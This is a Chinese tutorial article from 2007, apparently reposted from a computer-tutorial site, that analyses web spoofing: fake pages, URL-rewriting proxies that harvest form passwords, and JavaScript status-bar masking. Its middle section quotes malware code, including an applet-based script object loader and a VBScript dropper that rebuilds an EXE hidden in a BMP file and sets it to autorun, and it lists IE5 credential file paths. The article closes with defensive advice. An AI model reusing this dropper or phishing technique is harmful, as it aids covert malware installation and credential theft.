浅析网络安全技术,WEB欺骗技术浅析

WEB欺骗技术浅析 - 网络安全 - 电脑教程网

WEB欺骗技术浅析

日期:2007-07-27   荐:
(1)受害体
   在web欺骗中我们把攻击者要欺骗的对象称为受害体。在攻击过程中,受害体被欺骗这是攻击者的第一步。攻击者想法设法欺骗受害体进行错误的决策。而决策的正确与否决定了安全性的与否。比如:当一个用户在Internet下载一个软件,系统的安全性告诉你,该网页有不安全控件是否要运行,这就关系到了用户选择是还是否的问题。而在安全的范围里,网页有可能的加载病毒,木马等。这是受害体决策的问题。在一个小小的例子我们不难看到受害体,在决定是否下载或者运行的时候,或许已经被欺骗。一种盗窃QQ的密码的软件,当被攻击者安放在机器上的时候,和腾讯公司一样的图标,但是其程序却指象了在后台运行的盗窃软件。那么受害体往往很轻易的运行该软件,决策带来非安全性。
  (2)掩盖体
   在web欺骗中我们把攻击者用来制造假象,进行欺骗攻击中的道具称为掩盖体。这些道具可以是:虚假的页面,虚假的连接,虚假的图表,虚假的表单,等。攻击者竭尽全力的试图制造另受害体完全信服的信息。并引导受害体做一些非安全性的操作。当我们浏览网页,通常的网页的字体,图片,色彩,声音,都给受害体,传达着暗是信息。甚至一些公司的图形标志也给受害体早成了定视。你再看到“小狐狸”的图表的时候,不由的就想到了www.sohu.com站点。富有经验的浏览器用户对某些信息的反应就如同富有经验的驾驶员对交通信号和标志做出的反应一样。这种虚假的表象对用户来说同虚假的军事情报一样危害。攻击者很容易制造虚假的搜索。受害体往往通过强大的搜索引擎来寻找所需要的信息。但是这些搜索引擎并没有检查网页的真实性,明明表明着是:xxx站点的标志,但是连接决是yyy站点。而且yyy站点有着和xxx站点网页虚假的拷贝。
  (3)欺骗目的
   攻击者欺骗目的可以是很多。但是直接的目的是拿到用户的帐户和信息,甚至一些一些银行帐户和密码。例如,在访问网上银行时,你可能根据你所见的银行Web页面,从该行的帐户中提取或存入一定数量的存款。因为你相信你所访问的Web页面就是你所需要的银行的Web页面。欺骗银行帐户和密码就是攻击者的目的。
  (4)欺骗结果
   由于攻击者可以观察或者修改任何从受攻击者到Web服务器的信息;同样地,也控制着从Web 服务器至受攻击者的返回数据,这样攻击者就有许多发起攻击的可能性,包括监视和破坏。
   攻击者能够监视受攻击者的网络信息,记录他们访问的网页和内容。当受攻击者填写完一个表单并发送后,这些数据将被传送到Web服务器,Web服务器将返回必要的信息,但不幸的是,攻击者完全可以截获并加以使用。大家都知道绝大部分在线公司都是使用表单来完成业务的,这意味着攻击者可以获得用户的帐户和密码。下面我们将看到,即使受攻击者有一个“安全”连接(通常是通过SecureSocketsLayer来实现的,用户的浏览器会显示一把锁或钥匙来表示处于安全连接),也无法逃脱被监视的命运。
   在得到必要的数据后,攻击者可以通过修改受攻击者和Web服务器之间任何一个方向上的数据,来进行某些破坏活动。攻击者修改受攻击者的确认数据,例如,如果受攻击者在线订购某个产品时,攻击者可以修改产品代码,数量或者邮购地址等等。攻击者也能修改被Web服务器所返回的数据,例如,插入易于误解或者攻击性的资料,破坏用户和在线公司的关系等等。
    3:web的攻击手段
  (1)整个网页的假象
攻击者安全制造真个网页的假想。攻击者只需要制作一个完全的网页的假象,而没必要存储网页的内容。这种类似与现实中的虚拟的世界,这个虚拟的世界完全的来字于真实世界的拷贝。一些虚假的游戏站点,攻击者允许用户在线的修改密码。而这些密码将被发送给攻击者的服务器。图1就是来自游戏一个站点的虚假网页。

 
附加图的说明

[1] [2] [3]  


  在这个攻击过程中,攻击者主要做了如下的手段。
  攻击者修改了web中的url地址,就是说指向攻击者的Web服务器而不是真正 的Web服务器。
它通过在所有链接前加上另外的一个web地址。如攻击www.distinct.com,可以写成http://www.distinct.com/http://home.yushi.com,当用户输入http://home.yushi.com时,当然用户可以仍然只看见的是http://home.yushi.com,其实却进入了www.distinct.com。整个过程是这样的。
   1.用户点击经过改写后 的http://www.distinct.com/http://home.yushi.com;
  2.http://www.distinct.com向http://home.yushi.com请求文档;
  3.http://home.yushi.com向http://www.distinct.com返回文档;
  4.http://www.distinct.com改写文档中的所有URL;
  5.http://www.distinct.com向用户返回改写后的文档。
    这个时候,文档中的url可以利用上面的方法来指向www.distinct.com,用户就此被欺骗。而且当攻击者制作了一个表单的提交后,很有可能将你的个人的信息用于了欺骗中。只要遵循标准的Web协议,表单欺骗很自然地不会被察觉:表单的确定信息被编码到URL中,内容会以Html形式来返回。
   我们来看这个表单的返回。
 
    在上图中,很显然,攻击者把修改的密码和用户的表单提交给了攻击者的服务器。当你填,帐户为:lishihui 密码为:woaini 并修改密码为:mylover的时候,同样表单为告诉你:恭喜你,密码修改成功。同时,密码和帐户都将提交给攻击者。  
    (2)特殊的网页的假象
   攻击者可以制造一些特殊的网页来攻击用户。而这些网页表面上看起来,或许只是一个音乐站点或者只是简单一副图片。但是利用通过javascript编程或者是perl等网页语言,受害者会被感染病毒和下载木马程序。
  a) web病毒
    这种web欺骗主要是以迫害用户机器为主。它制作的web看起来,没有任何的危害。但是你的机器却被感染了病毒。2002,5月一分混客web病毒,下面我们可以分析一下代码进行web欺骗的讨论。
    病毒利用脚本语言Javascript写成,它在发作模块中写下了下面的代码:
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();
而后利用函数RegWrite 等向注册表中写下健值,通过windows本身的特性来完成它的破坏过程。
知道了它的运行的原理后,编写它的解决代码就简单了,只需要将相应的健值改过来就可以了,我们可以发现的确它的杀毒程序也是这样的。
  b)web木马 
    一些windows的漏洞给攻击者提供了方便。诸如
   1。ie的漏洞如IE5.0在访问FTP站点时的漏洞,即遗留个人密码资料的弊端。可把你的用户名和密码都不加密且以文本的形式直接存储在历史纪录中。他们的具体位置如下:
  英文版IE:
  c:\winnt\profiles\[username]\history\history.IE5\index.dat和c:\winnt\profiles\[username]\history\history.IE5\mshist<date>...\index.dat
  中文版IE:
  c:\winnt\profiles\[username]\cookies\index.dat
    2。 IE5.0 ActiveX漏洞 ,这个东西的应用是很多的了,很多的地方我们都可以看到有关它的报道。其他的还有什么利用<img src=″c:/con/con″> 之类的,真是不剩其扰。  
   另外的还有将可执行的文件改成图片格式文件的病毒,我们可以来分析一下。

 [1] [2] [3]  

    病毒的原理是不同于以前的mime漏洞的,它是将EXE文件伪装成一个BMP图片文件,欺骗IE自动下载,再利用网页中的JAVASCRIPT脚本查找客户端的Internet临时文件夹,找到下载后的BMP文件,把它拷贝到TEMP目录.再编写一个脚本把找到的BMP文件用DEBUG还原成EXE,并把它放到注册表启动项中,在下一次开机时执行.
   BMP文件的文件头有54个字节,里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在EXE文件的文件头前面添加相应的BMP文件头,这样就可以欺骗IE下载该BMP文件。
    它的实现的过程首先是在用户浏览的网页上加入一段感染代码,他的主要的功能是在本地机器的SYSTEM目录下生成一个“S.VBS”文件,而后这个脚本将会在下次开机的时候自动的加载,然后从临时文件夹中查找目标BMP图片 ,找到后生成一个DEBUG脚本 。
set Lt=FSO.CreateTextFile(tmp & "tmp.in")
Lt.WriteLine("rbx")
Lt.WriteLine("0")
Lt.WriteLine("rcx")
'下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小)
Lt.WriteLine("1000")
Lt.WriteLine("w136")
Lt.WriteLine("q")
Lt.Close
WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp &"tmp.in>" & tmp & "tmp.out",false,6
On Error Resume Next
FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")
FSO.GetFile(tmp & "tmp.dat").Delete
FSO.GetFile(tmp & "tmp.in").Delete
FSO.GetFile(tmp & "tmp.out").Delete
 程序运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到tmp.dat中。而后系统启动的时候自动的运行就达到了目的 。
   攻击者完全可以利用该漏洞下载并自动运行程序。    

   另外还要注意的一点是,攻击者为了更好的欺骗用户下载程序,可以利用修改连接状态。而实现修改连接状态,对与老到熟练的攻击者来讲是很容易的事情。由于连接状态是位于浏览器底部的提示信息,它提示当前连接的各类信息。Web欺骗中涉及两类信息。首先,当鼠标放置在Web链接上时,连接状态显示链接所指的URL地址,这样,受攻击者可能会注意到重写的URL地址。第二,当Web连接成功时,连接状态将显示所连接的服务器名称。这样,受攻击者可以注意到显示www.distinct.com,而非自己所希望的站点。
   攻击者能够通过JavaScript编程来弥补这两项不足。由于JavaScript能够对连接状态进行写操作,而且可以将JavaScript操作与特定事件绑定在一起,所以,攻击者完全可以将改写的URL状态恢复为改写前的状态。
  4:web欺骗技术的防范:
   (1) 受害体的安全意识
       1:确保你的访问的站点是可信任的,受害者可以查看网页原代码html,查看是否有有害的代码在运行,而这些却要加强受害者技术的学习。以变可以早早的识破攻击者的伎俩。加强安全访问和黑客技术的学习
       2:JavaScript、ActiveX以及Java 禁止。虽然这些功能被禁止了,但是一般的用户并不需要这些。可以阐述JavaScript和ActiveX的功能分析,并做出不同的用户是否要禁止这些功能。
   (2) 网络安全协议
     在安全中的数据加密。大多数计算机网络中(当然包括Internet),未经证明的传输都是不可靠的。例如,在Internet上可以伪造任意数据包,包括包头的值,所以不要用它们的值作为安全决定的主要依据,除非可以证实。在某些情况下可以断定一个声称来自“内部”的数据包确实来自内部,因为本地防火墙会阻止外部的欺骗,但是被破坏的防火墙、可选择的路径和活动编码使这样的假设都值得怀疑。与之相似,不要假设低端口号(小于1024)是可靠的;在大多数网络中这样的请求可以被伪造或着某个平台会允许使用低端口号的端口。如果是在实现一个标准,而且继承了不安全的协议(如FTP和RLOGIN),请提供安全的缺省项并明确说明所做的假设。

(出处:http://www.sheup.com)


 [1] [2] [3] 


(出处:http://www.sheup.com)


 [1] [2] [3] [4] 

标签: